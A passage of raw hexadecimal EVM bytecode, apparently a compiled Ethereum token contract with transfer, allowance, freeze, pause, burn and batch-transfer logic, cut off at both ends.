ffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a81526020019081526020016000206000015461558290919063ffffffff16565b600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002060000181905550611d0c85600960008a815260200190815260200160002060020160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b6009600089815260200190815260200160002060020160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc985600960008a815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b6009600089815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7282600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600192505050949350505050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f2257600080fd5b600160149054906101000a900460ff16151515611f3e57600080fd5b60008351111515611f4e57600080fd5b600090505b82518110156120d05760008382815181101515611f6c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611f9957600080fd5b6000600860008584815181101515611fad57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110151561201657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f60066000868581518110151561206957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a28080600101915050611f53565b6001915050919050565b6000600554905090565b6000600160149054906101000a900460ff1615151561210257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561213f5750600082115b801561218a575081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015612212575081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561226e575060001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156122ca575060001515600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156122d557600080fd5b61232782600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123bc82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000612588615c73565b60001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156125e757600080fd5b600c60009054906101000a900460ff1615151561260357600080fd5b600160149054906101000a900460ff1615151561261f57600080fd5b600085118015612630575060008410155b80156126695750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156126c85750846009600088815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156126f457506009600087815260200190815260200160002060060160009054906101000a900460ff165b15156126ff57600080fd5b838160200181815250508481600001818152505080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060008201518160000155602082015181600101559050506001915050949350505050565b6000600460009054906101000a900460ff16905090565b600060011515600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515149050919050565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561289957600080fd5b600c60009054906101000a900460ff161515156128b557600080fd5b600160149054906101000a900460ff161515156128d157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600085815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015612943575060008210155b151561294e57600080fd5b8160096000858152602001908152602001600020600401819055506001905092915050565b6000600c60009054906101000a900460ff1615151561299157600080fd5b600160149054906101000a900460ff161515156129ad57600080fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000206000015490509392505050565b6000806000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612aaa57600080fd5b600160149054906101000a900460ff16151515612ac657600080fd5b600084118015612ad7575060008551115b1515612ae257600080fd5b612af685518561552e90919063ffffffff16565b915081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612b4657600080fd5b612b9882600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b8451811015612d8857600073ffffffffffffffffffffffffffffffffffffffff168582815181101515612c0f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515612c3c57600080fd5b612ca584600660008885815181101515612c5257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b600660008784815181101515612cb757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515612d0d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050612be0565b3373ffffffffffffffffffffffffffffffffffffffff167fb45345ab7bd05accbf85ceae28de4abb6b29a27e3e56ba477bd8946e5da6ee1a836040518082815260200191505060405180910390a260019250505092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e4057600080fd5b600160149054906101000a900460ff16151515612e5c57600080fd5b81600c60006101000a81548160ff02191690831515021790555060019050919050565b600160149054906101000a900460ff1681565b6000600c60009054906101000a900460ff16151515612eb057600080fd5b600160149054906101000a900460ff16151515612ecc57600080fd5b6009600084815260200190815260200160002060020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600c60009054906101000a900460ff16151515612f4657600080fd5b600160149054906101000a900460ff16151515612f6257600080fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000206001015490509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156130a757600080fd5b600c60009054906101000a900460ff161515156130c357600080fd5b600160149054906101000a900460ff161515156130df57600080fd5b60001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561316c5750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156131785750600083115b80156131d75750826009600087815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561320357506009600086815260200190815260200160002060060160009054906101000a900460ff165b151561320e57600080fd5b613274836009600088815260200190815260200160002060020160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b90508060096000878152602001908152602001600020600801541015151561329b57600080fd5b613301836009600088815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b6009600087815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133be836009600088815260200190815260200160002060020160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b6009600087815260200190815260200160002060020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019150509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156134a757600080fd5b600c60009054906101000a900460ff161515156134c357600080fd5b600160149054906101000a900460ff161515156134df57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600085815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561354f57600080fd5b81600960008581526020019081526020016000206007019080519060200190613579929190615c8d565b506001905092915050565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561361c5780601f106135f15761010080835404028352916020019161361c565b820191906000526020600020905b8154815290600101906020018083116135ff57829003601f168201915b5050505050905090565b6000806000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561368957600080fd5b600c60009054906101000a900460ff161515156136a557600080fd5b600160149054906101000a900460ff161515156136c157600080fd5b6009600086815260200190815260200160002060060160019054906101000a900460ff1680156136f15750600084115b80156137865750836009600087815260200190815260200160002060020160006009600089815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b151561379157600080fd5b6137f7846009600088815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b91508160096000878152602001908152602001600020600801541015151561381e57600080fd5b61384784600960008881526020019081526020016000206004015461552e90919063ffffffff16565b905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561389757600080fd5b6138e981600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506139c884600960008881526020019081526020016000206002016000600960008a815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b6009600087815260200190815260200160002060020160006009600089815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613abb846009600088815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b6009600087815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b9a8160066000600960008a815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b600660006009600089815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613c7d57600080fd5b600160149054906101000a900460ff16151515613c9957600080fd5b600082118015613ce8575081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515613cf357600080fd5b613d4582600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613d9d8260055461558290919063ffffffff16565b6005819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000606060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515613e5e57600080fd5b600160149054906101000a900460ff16151515613e7a57600080fd5b600083118015613eda575060001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515613ee557600080fd5b613eee8461559b565b15613f0557613efe8484836155ae565b9150613f13565b613f1084848361598d565b91505b5092915050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613f7957600080fd5b600160149054906101000a900460ff16151515613f9557600080fd5b60008351111515613fa557600080fd5b600090505b82518110156141275760008382815181101515613fc357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515613ff057600080fd5b600160086000858481518110151561400457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110151561406d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e06006600086858151811015156140c057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a28080600101915050613faa565b6001915050919050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156141b157600080fd5b600160149054906101000a900460ff161515156141cd57600080fd5b60008311801561422d575060001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561423857600080fd5b6142418461559b565b15614258576142518484846155ae565b9050614266565b61426384848461598d565b90505b9392505050565b60096020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156143455780601f1061431a57610100808354040283529160200191614345565b820191906000526020600020905b81548152906001019060200180831161432857829003601f168201915b5050505050908060040154908060050154908060060160009054906101000a900460ff16908060060160019054906101000a900460ff1690806007018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156144155780601f106143ea57610100808354040283529160200191614415565b820191906000526020600020905b8154815290600101906020018083116143f857829003601f168201915b5050505050908060080154905089565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561448357600080fd5b81600160146101000a81548160ff02191690831515021790555060019050919050565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561450657600080fd5b600c60009054906101000a900460ff1615151561452257600080fd5b600160149054906101000a900460ff1615151561453e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600085815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156145af5750600082115b15156145ba57600080fd5b8160096000858152602001908152602001600020600801819055506001905092915050565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156146cc57600080fd5b600c60009054906101000a900460ff161515156146e857600080fd5b600160149054906101000a900460ff1615151561470457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600085815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561477457600080fd5b816009600085815260200190815260200160002060060160016101000a81548160ff0219169083151502179055506001905092915050565b600b60205282600052604060002060205281600052604060002060205280600052604060002060009250925050508060000154908060010154905082565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561484b57600080fd5b600160149054906101000a900460ff1615151561486757600080fd5b60008551118015614879575060008451115b8015614886575083518551145b151561489157600080fd5b60009150600090505b8451811015614b3857600084828151811015156148b357fe5b9060200190602002015111801561490e5750600073ffffffffffffffffffffffffffffffffffffffff1685828151811015156148eb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b80156149875750838181518110151561492357fe5b9060200190602002015160066000878481518110151561493f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b151561499257600080fd5b614a1284828151811015156149a357fe5b906020019060200201516006600088858151811015156149bf57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660008784815181101515614a2457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a968482815181101515614a7d57fe5b906020019060200201518361556690919063ffffffff16565b91503373ffffffffffffffffffffffffffffffffffffffff168582815181101515614abd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515614b0c57fe5b906020019060200201516040518082815260200191505060405180910390a3808060010191505061489a565b614b8a82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600c60009054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515614c4a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515614c8657600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360019050919050565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515614dac57600080fd5b600160149054906101000a900460ff16151515614dc857600080fd5b600084118015614e28575060001515600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515614e3357600080fd5b614e3c8561559b565b1561526c5783600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515614e8f57600080fd5b614ee184600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614f7684600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156150085780518252602082019150602081019050602083039250614fe3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156150e95780820151818401526020810190506150ce565b50505050905090810190601f1680156151165780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561513657fe5b826040518082805190602001908083835b60208310151561516c5780518252602082019150602081019050602083039250615147565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001905061527a565b61527785858561598d565b90505b949350505050565b60008061528d615d0d565b60001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156152ec57600080fd5b600c60009054906101000a900460ff1615151561530857600080fd5b600160149054906101000a900460ff1615151561532457600080fd5b61532c615c3f565b91508181600001818152505033816020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508981604001819052508781606001818152505088816080018181525050868160a0019015159081151581525050858160c0019015159081151581525050848160e00181905250838161010001818152505080600960008481526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816003019080519060200190615442929190615d74565b50606082015181600401556080820151816005015560a08201518160060160006101000a81548160ff02191690831515021790555060c08201518160060160016101000a81548160ff02191690831515021790555060e08201518160070190805190602001906154b3929190615d74565b506101008201518160080155905050886009600084815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000015192505050979650505050505050565b6000808314156155415760009050615560565b818302905081838281151561555257fe5b0414151561555c57fe5b8090505b92915050565b6000818301905082811015151561557957fe5b80905092915050565b600082821115151561559057fe5b818303905092915050565b600080823b905060008111915050919050565b60008083600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156155ff57600080fd5b61565184600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506156e684600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156157ee5780820151818401526020810190506157d3565b50505050905090810190601f16801561581b5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561583c57600080fd5b505af1158015615850573d6000803e3d6000fd5b50505050826040518082805190602001908083835b60208310151561588a5780518252602082019150602081019050602083039250615865565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156159dd57600080fd5b615a2f83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550615ac483600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515615b3d5780518252602082019150602081019050602083039250615b18565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000600160149054906101000a900460ff16151515615c5d57600080fd5b600a600081548092919060010191905055905090565b604080519081016040528060008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10615cce57805160ff1916838001178555615cfc565b82800160010185558215615cfc579182015b82811115615cfb578251825591602001919060010190615ce0565b5b509050615d099190615df4565b5090565b6101206040519081016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600081526020016000815260200160001515815260200160001515815260200160608152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826